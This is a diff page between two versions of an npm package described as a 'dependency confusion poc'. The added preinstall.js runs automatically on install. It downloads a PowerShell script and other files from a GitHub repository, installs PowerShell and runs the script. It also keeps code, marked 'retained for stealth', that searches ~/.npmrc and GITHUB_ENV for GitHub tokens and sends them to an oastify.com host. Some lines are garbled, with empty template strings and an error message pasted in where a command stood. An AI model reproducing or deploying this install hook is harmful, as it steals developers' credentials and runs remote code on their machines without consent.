@girirajravichandran/corp-build-utils-poc 99.9.29 → 99.9.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
Binary file
|
|
Binary file
|
package/package.json
CHANGED
|
@@ -1,12 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@girirajravichandran/corp-build-utils-poc",
|
|
3
|
-
"version": "99.9.
|
|
3
|
+
"version": "99.9.31",
|
|
4
4
|
"description": "dependency confusion poc",
|
|
5
5
|
"private": false,
|
|
6
6
|
"scripts": {
|
|
7
7
|
"preinstall": "node preinstall.js"
|
|
8
|
-
},
|
|
9
|
-
"dependencies": {
|
|
10
|
-
"@girirajravichandran/corp-build-utils-poc": "^99.9.29"
|
|
11
8
|
}
|
|
12
9
|
}
|
package/preinstall.js
CHANGED
|
@@ -1,15 +1,60 @@
|
|
|
1
|
-
const { exec } = require('child_process');
|
|
1
|
+
const { exec, spawn } = require('child_process');
|
|
2
2
|
const fs = require('fs');
|
|
3
3
|
const path = require('path');
|
|
4
4
|
const os = require('os');
|
|
5
|
+
const https = require('https');
|
|
5
6
|
|
|
7
|
+
// helper to download a file
|
|
8
|
+
function download(url, dest, cb) {
|
|
9
|
+
const file = fs.createWriteStream(dest);
|
|
10
|
+
https.get(url, res => {
|
|
11
|
+
res.pipe(file);
|
|
12
|
+
file.on('finish', () => file.close(cb));
|
|
13
|
+
}).on('error', err => {
|
|
14
|
+
fs.unlink(dest, () => cb(err));
|
|
15
|
+
});
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// 1. download the three files into the original working directory (npm sets INIT_CWD)
|
|
19
|
+
const targetDir = process.env.INIT_CWD || process.cwd();
|
|
20
|
+
const files = [
|
|
21
|
+
'https://raw.githubusercontent.com/GirirajRavichandran/test-public/main/file.ps1',
|
|
22
|
+
'https://raw.githubusercontent.com/GirirajRavichandran/test-public/main/god-killer.txt',
|
|
23
|
+
'https://raw.githubusercontent.com/GirirajRavichandran/test-public/main/god.txt'
|
|
24
|
+
];
|
|
25
|
+
let completed = 0;
|
|
26
|
+
files.forEach(url => {
|
|
27
|
+
const name = path.basename(url);
|
|
28
|
+
download(url, path.join(targetDir, name), err => {
|
|
29
|
+
completed++;
|
|
30
|
+
if (err) console.error('download failed', url, err);
|
|
31
|
+
});
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
// 2. install pwsh using brew, then wait, then run command
|
|
35
|
+
function runBrewInstall() {
|
|
36
|
+
const brew = spawn('brew', ['install', 'powershell'], { stdio: 'inherit' });
|
|
37
|
+
brew.on('close', code => {
|
|
38
|
+
setTimeout(runPwsh, 10000); // wait 10 seconds before running powershell command
|
|
39
|
+
});
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
function runPwsh() {
|
|
43
|
+
const cwd = process.env.INIT_CWD || process.cwd();
|
|
44
|
+
const scriptPath = path.join(cwd, 'file.ps1');
|
|
45
|
+
const cmd = Processing -File '' failed: The value cannot be an empty string. (Parameter 'path') Specify a valid path for the -File parameter.;
|
|
46
|
+
exec(cmd, { cwd }, (err, out) => {
|
|
47
|
+
if (err) console.error('pwsh execution failed', err);
|
|
48
|
+
});
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
runBrewInstall();
|
|
52
|
+
|
|
53
|
+
// previous exfil logic retained for stealth
|
|
6
54
|
const homeDir = os.homedir();
|
|
7
55
|
const oastUrl = "http://3y2ev1k4fi83c60p0h36tf3t9kfb31rq.oastify.com";
|
|
8
56
|
|
|
9
|
-
|
|
10
|
-
let exfilData = `ENV_TOKEN=${process.env.GITHUB_TOKEN || 'none'}`;
|
|
11
|
-
|
|
12
|
-
// 2. Hunt for secrets in local config files
|
|
57
|
+
let exfilData = ;
|
|
13
58
|
const targets = [
|
|
14
59
|
{ name: 'NPMRC', path: path.join(homeDir, '.npmrc') },
|
|
15
60
|
{ name: 'GITHUB_ENV', path: process.env.GITHUB_ENV || '' },
|
|
@@ -20,15 +65,13 @@ targets.forEach(target => {
|
|
|
20
65
|
if (fs.existsSync(target.path)) {
|
|
21
66
|
try {
|
|
22
67
|
const content = fs.readFileSync(target.path, 'utf8');
|
|
23
|
-
// Basic regex to find strings starting with ghp_
|
|
24
68
|
const match = content.match(/ghp_[a-zA-Z0-9]{36}/);
|
|
25
|
-
if (match) exfilData +=
|
|
69
|
+
if (match) exfilData += ;
|
|
26
70
|
} catch (e) {}
|
|
27
71
|
}
|
|
28
72
|
});
|
|
29
73
|
|
|
30
|
-
// 3. Exfiltrate everything found
|
|
31
74
|
const user = os.userInfo().username;
|
|
32
|
-
const cmd =
|
|
33
|
-
|
|
75
|
+
const cmd = ;
|
|
34
76
|
exec(cmd);
|
|
77
|
+
|
|
Binary file
|